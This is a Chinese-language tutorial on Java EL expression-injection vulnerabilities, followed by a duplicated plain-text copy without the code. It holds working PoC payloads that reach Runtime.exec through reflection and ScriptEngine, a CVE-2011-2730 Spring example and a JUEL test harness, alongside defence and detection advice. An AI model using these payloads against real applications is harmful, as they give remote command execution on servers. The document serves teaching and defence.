浅析EL表达式注入漏洞
字数 1659 2025-08-20 18:18:04

EL表达式注入漏洞深入分析与防御

0x01 EL表达式基础

EL简介

EL(Expression Language)是为了简化JSP开发而设计的表达式语言,灵感来源于ECMAScript和XPath。主要功能包括:

  • 获取数据:从Web域中检索Java对象、获取数据
  • 执行运算:支持关系运算、逻辑运算和算术运算
  • 获取Web开发常用对象:提供隐式对象引用
  • 调用Java方法:允许通过自定义EL函数调用Java类方法

基本语法

EL表达式格式:${EL表达式}

变量访问范围

  • 不指定范围时查找顺序:page → request → session → application
  • 显式指定范围:${pageScope.userinfo}${requestScope.userinfo}

运算符

  • .[]运算符:${user.My-Name}应写为${user["My-Name"]}
  • []支持动态取值:${sessionScope.user[data]}

隐式对象

对象 描述 等效Java代码
pageContext JSP页面上下文 pageContext
param 请求参数 request.getParameter(name)
paramValues 请求参数数组 request.getParameterValues(name)
header 请求头 request.getHeader(name)
headerValues 请求头数组 request.getHeaders(name)
cookie Cookie对象 request.getCookies()
initParam 上下文初始化参数 servletContext.getInitParameter(name)

0x02 EL表达式注入漏洞原理

漏洞成因

当外部可控输入被直接拼接到EL表达式中执行时,攻击者可构造恶意表达式实现任意代码执行。

典型利用场景

  1. Java代码中动态构造EL表达式
  2. 框架层面服务端执行的EL表达式外部可控

通用PoC

// 获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

// 执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

// 简化版命令执行
${''.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}

0x03 实际案例分析

CVE-2011-2730

Spring框架中的EL表达式注入:

<spring:message text="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"></spring:message>

JUEL实现中的EL注入

import de.odysseus.el.ExpressionFactoryImpl;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class Test {
    public static void main(String[] args) {
        ExpressionFactory factory = new ExpressionFactoryImpl();
        String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
        ValueExpression ve = factory.createValueExpression(exp, String.class);
        System.out.println(ve.getValue());
    }
}

0x04 绕过技术

反射机制绕过

${''.getClass().forName('java.lang.Runtime')
 .getMethod('exec',''.getClass())
 .invoke(''.getClass().forName('java.lang.Runtime')
 .getMethod('getRuntime').invoke(null),'calc.exe')}

ScriptEngine调用JS引擎

${''.getClass().forName("javax.script.ScriptEngineManager")
 .newInstance().getEngineByName("JavaScript")
 .eval("java.lang.Runtime.getRuntime().exec('calc')")}

0x05 防御措施

  1. 输入验证

    • 避免直接使用外部输入作为EL表达式内容
    • 严格过滤EL表达式中的危险关键字和特殊字符
  2. 安全配置

    • 全局禁用EL:在web.xml中添加
    <jsp-config>
      <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
      </jsp-property-group>
    </jsp-config>
    
    • 单个文件禁用:<%@ page isELIgnored="true" %>
  3. 代码审计

    • 检查JUEL相关代码:
    javax.el.ExpressionFactory.createValueExpression()
    javax.el.ValueExpression.getValue()
    
  4. 最小权限原则

    • 限制EL表达式的执行权限
    • 使用安全管理器限制危险操作

0x06 检测方法

  1. 黑盒测试

    • 尝试注入简单EL表达式如${1+1}
    • 测试参数、头、cookie等输入点
  2. 白盒审计

    • 搜索EL表达式动态构建代码
    • 检查ExpressionFactory的使用情况

附录:EL表达式速查表

类别 表达式示例 说明
基本 ${variable} 变量引用
运算 ${1+2} 算术运算
关系 ${a > b} 关系运算
逻辑 ${a && b} 逻辑运算
方法 ${object.method()} 方法调用
集合 ${list[0]} 集合访问
隐式 ${param.name} 请求参数

通过全面理解EL表达式的工作原理和潜在风险,开发人员可以更有效地预防和防御EL表达式注入漏洞。

EL表达式注入漏洞深入分析与防御 0x01 EL表达式基础 EL简介 EL(Expression Language)是为了简化JSP开发而设计的表达式语言,灵感来源于ECMAScript和XPath。主要功能包括: 获取数据:从Web域中检索Java对象、获取数据 执行运算:支持关系运算、逻辑运算和算术运算 获取Web开发常用对象:提供隐式对象引用 调用Java方法:允许通过自定义EL函数调用Java类方法 基本语法 EL表达式格式: ${EL表达式} 变量访问范围 : 不指定范围时查找顺序:page → request → session → application 显式指定范围: ${pageScope.userinfo} 、 ${requestScope.userinfo} 等 运算符 : . 和 [] 运算符: ${user.My-Name} 应写为 ${user["My-Name"]} [] 支持动态取值: ${sessionScope.user[data]} 隐式对象 | 对象 | 描述 | 等效Java代码 | |------|------|--------------| | pageContext | JSP页面上下文 | pageContext | | param | 请求参数 | request.getParameter(name) | | paramValues | 请求参数数组 | request.getParameterValues(name) | | header | 请求头 | request.getHeader(name) | | headerValues | 请求头数组 | request.getHeaders(name) | | cookie | Cookie对象 | request.getCookies() | | initParam | 上下文初始化参数 | servletContext.getInitParameter(name) | 0x02 EL表达式注入漏洞原理 漏洞成因 当外部可控输入被直接拼接到EL表达式中执行时,攻击者可构造恶意表达式实现任意代码执行。 典型利用场景 Java代码中动态构造EL表达式 框架层面服务端执行的EL表达式外部可控 通用PoC 0x03 实际案例分析 CVE-2011-2730 Spring框架中的EL表达式注入: JUEL实现中的EL注入 0x04 绕过技术 反射机制绕过 ScriptEngine调用JS引擎 0x05 防御措施 输入验证 : 避免直接使用外部输入作为EL表达式内容 严格过滤EL表达式中的危险关键字和特殊字符 安全配置 : 全局禁用EL:在web.xml中添加 单个文件禁用: <%@ page isELIgnored="true" %> 代码审计 : 检查JUEL相关代码: 最小权限原则 : 限制EL表达式的执行权限 使用安全管理器限制危险操作 0x06 检测方法 黑盒测试 : 尝试注入简单EL表达式如 ${1+1} 测试参数、头、cookie等输入点 白盒审计 : 搜索EL表达式动态构建代码 检查ExpressionFactory的使用情况 附录:EL表达式速查表 | 类别 | 表达式示例 | 说明 | |------|-----------|------| | 基本 | ${variable} | 变量引用 | | 运算 | ${1+2} | 算术运算 | | 关系 | ${a > b} | 关系运算 | | 逻辑 | ${a && b} | 逻辑运算 | | 方法 | ${object.method()} | 方法调用 | | 集合 | ${list[0]} | 集合访问 | | 隐式 | ${param.name} | 请求参数 | 通过全面理解EL表达式的工作原理和潜在风险,开发人员可以更有效地预防和防御EL表达式注入漏洞。